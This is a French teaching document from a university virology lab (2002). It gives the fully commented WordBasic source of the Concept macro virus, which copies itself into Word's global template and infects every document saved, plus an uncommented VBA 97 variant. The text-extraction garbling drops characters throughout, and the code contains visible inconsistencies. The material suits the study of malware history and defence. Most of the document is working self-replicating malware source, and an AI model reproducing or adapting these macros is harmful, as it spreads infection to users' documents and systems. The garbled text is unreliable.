concept_src.pdf

Code soure ommenté du maro-virus
onept
Eri Filiol
Eole Supérieure en Informatique, Eletronique et Automatique (ESIEA)
Laboratoire de virologie et de ryptologie opérationnelles
38 rue des Dr Calmette et Guérin, 53000 Laval
17 novembre 2002
1 Introdution
Ce ode soure ommenté est donné à des ns exlusivement pédagogiques. L'utilisation
de e hiers et des informations qu'il ontient implique de la part du leteur d'avoir pris
onnaissane de la réglementation en vigueur en matière de séurité informatique et qu'il
s'engage à la respeter.
Ce hier est libre de droits tant qu'il est reproduit en totalité.
Ce ode soure orrespond au virus présenté dans [1℄.
2 Le virus onept
Ce virus est érit en WordBasi (en fait VBA version 6.0). Chaque ommentaire est plaé
sous la ligne de ode à laquelle il se rapporte.
2.1
Maro
AutoOpen
Le but de ette maro est d'initier l'infetion dans un nouveau système à partir d'un hier
infeté qui opiera le virus dans le hier modèle global (en général le normal.dot).
Sub MAIN
On Error Goto Abort
' Gestion des erreurs : en as de problème saut en n de maro. Le virus ne se lane pas.
iMaroCount = CountMaros(0, 0)
' Le virus réupère le nombre de maros présentes dans l'environnement en ours
' (hier modèle global : normal.dot)
For i to iMaroCount
' Pour haune d'elles
If MaroNames$(i, 0, 0) = "Payload" Then
' Si une maro nommée Payload est présente (signe d'infetion)
bInstalled = - 1
' Le marqueur d'infetion bInstalled est ativé.
Enf If
If MaroNames$(i, 0, 0) = "FileSaveAs" Then
' Si une maro nommée FileSaveAs est présente (réée par l'utilisateur ou un autre virus)
1
bTooMuhTrouble = - 1
' Le marqueur de présene pour ette maro est ativé.
Enf If
Next i
If Not bInstalled And Not bTooMuhTrouble Then
' Si auune des maros Payload et FileSaveAs n'est présente (la présene de la maro
' FileSaveAs sans la maro Payload peut générer des problèmes lors de l'infetion
iWW6IInstane = Val(GetDoumentVar$("WW6Infetor"))
' Réupération de la valeur de la variable d'environnement WW6Infetor présente dans le
' WinWord6.ini et utilisée pour identier la génération du virus. Cette valeur est
' stokée dans la variable iWW6IInstane. Du fait d'un bug, iWW6IInstane vaut toujours 0
' ar la variable WW6Infetor est sauvegardée sous un nom diérent (iWW6IInstane ; voir
' n du ode de la maro).
sMe$ = FileName$()
' sMe représente une variable loale ; elle reçoit ii le nom du doument atif dans Word.
sMaros$ = sMe$ + " :Payload"
' sMe est augmentée du nom de la première maro virale à opier.
MaroCopy sMaros$, "Global :Payload"
' Copie de ette maro loale du doument infeté vers le hier modèle global
' (le plus souvent normal.dot)
sMaros$ = sMe$ + " :AAAZFS"
' sMe vaut maintenant nom doument + "AAAZFS"
MaroCopy sMaros$, "Global :FileSaveAs"
' Copie de ette maro loale du doument infeté vers le hier modèle global
' ave le nom FileSaveAs
sMaros$ = sMe$ + " :AAAZFS"
' sMe vaut maintenant nom doument + "AAAZFS"
MaroCopy sMaros$, "Global :AAAZFS"
' Copie de ette maro loale du doument infeté vers le hier modèle global
sMaros$ = sMe$ + " :AAAZAO"
' sMe vaut maintenant nom doument + "AAAZAO"
MaroCopy sMaros$, "Global :AAAZAO"
' Copie de ette maro loale du doument infeté vers le hier modèle global
SetProleString "WW6I", Str$(iWW6IInstane + 1)
' La valeur de la variable iWW6IInstane est inrémentée de 1 et stokée dans le
' hier WinWord6.ini qui ontient don la haîne WW6I= 1 pour tout version de
' Word infetée. On voit que la variable WW6Infetor n'est jamais utilisée d'où
' le bug évoqué plus haut.
MsgBox Str$(iWW6IInstane + 1)
' Ahage d'une fenêtre message ontenant la valeur de la variable
' iWW6IInstane inrémentée de 1.
Enf If
Abort :
' Label de saut vers la n de proédure.
End Sub
2
2.2
Maro
FileSaveAs
Cette maro a pour fontion de propager l'infetion à partir d'un appliatif
infeté. Chaque doument ouvert et sauvegardé sera infeté.
Word déjà
Sub MAIN
Dim dlg As FileSaveAs
' Dénit la boite de dialogue ative omme étant FileSaveAs.
On Error Goto Bail
' Gestion des erreurs : en as de problème saut en n de maro
' (label Bail).
GetCurValues dlg
' Réupère des propriétés du urseur (en part. la loalisation)
' dans le dialogue atif. Cela équivaut à un déroutement de la
' fontionnalité FileSaveAs.
Dialog dlg
If dlg.Format = 0 Then dlg.Format = 1
' Ativation des fontionnalités virales ajoutées à elle de
' FileSaveAs.
sMe$ = FileName$()
' sMe représente une variable loale ; elle reçoit ii le nom du doument atif dans Word.
sTMaros$ = sMe$ + " :AutoOpen"
' sMe maintenant nom doument + "AutoOpen".
MaroCopy "Global :AAAZAO", sTMaro$
' Copie de la maro AAAZAO du modèle global vers le doument
' atif (loal) sous le nom AutoOpen.
sTMaro$ = sMe$ + " :AAAZAO"
' sMe vaut maintenant nom doument + "AAAZAO"
MaroCopy "Global :AAAZAO", sTMaro$
' Copie de la maro AAAZAO du modèle global vers le doument
' atif (loal).
sTMaro$ = sMe$ + " :AAAZFS"
' sMe vaut maintenant nom doument + "AAAZFS"
MaroCopy "Global :AAAZFS", sTMaro$
' Copie de la maro AAAZFS du modèle global vers le doument
' atif (loal).
sTMaro$ = sMe$ + " :PayLoad"
' sMe vaut maintenant nom doument + "PayLoad"
MaroCopy "Global :PayLoad", sTMaro$
' Copie de la maro Payload du modèle global vers le doument
' atif (loal).
FileSaveAs dlg
' La boite de dialogue ative est maintenant elle de FileSaveAs.
Goto Done
' En n d'infetion sauter au label Done.
Bail :
' Label de saut vers la n de proédure pour gestion des erreurs.
If Err <> 102 Then
3
' Si l'erreur n'est pas une erreur de type 102 (éhe d'exéution de ommande).
FileSaveAs dlg
' La boite de dialogue FileSaveAs est ativée et ahée.
End If
Done :
' Label de saut vers la n de proédure en n d'infetion.
End Sub
2.3
Maro
Payload
Cette maro n'est jamais utilisée par le virus (bug ou volonté de l'auteur du virus ?). Elle
est donnée ii dans un but d'exhaustivité. Elle gure parmi les maros virales.
Sub MAIN
REM That's enough to prove my point
' Simple ommentaire. Tradution : C'est
End Sub
susant prouver e que j'avane.
3 Code soure du virus Conept97
Ce ode est la version du virus onept pour la version 7.0 du langage VBA (à partir de
la suite Oe 97). Il est dû à Mark Ludwig. Le ode est donné tel quel, sans ommentaires, au
demeurant inutiles étant donné le aratère très intuitif des ommandes. Ces dernières étant
assez longues, le aratère \ indique que la ommande se poursuit à la ligne suivante.
3.1
Maro
AutoOpen
Sub AutoOpen()
iMaroCount = WordBasi.CountMaros(0,0)
For i = 1 to iMaroCount
If WordBasi.MaroName$(i, 0, 0) = "FileSave" Then
bInstalled = - 1
End If
Next i
If Not bInstalled = - 1 Then
Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\
"FileSave", wdOrganizerObjetProjetItems
Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\
"AutoOpen", wdOrganizerObjetProjetItems
End If
End Sub
3.2
Maro
FileSave
Sub FileSave()
Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\
"AutoOpen", wdOrganizerObjetProjetItems
Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\
4
"FileSave", wdOrganizerObjetProjetItems
AtiveDoument.Save
End Sub
Référenes
[1℄ Filiol E. (2002), Le virus Conept, Journal de la séurité informatique MISC 4, déembre
2002.
5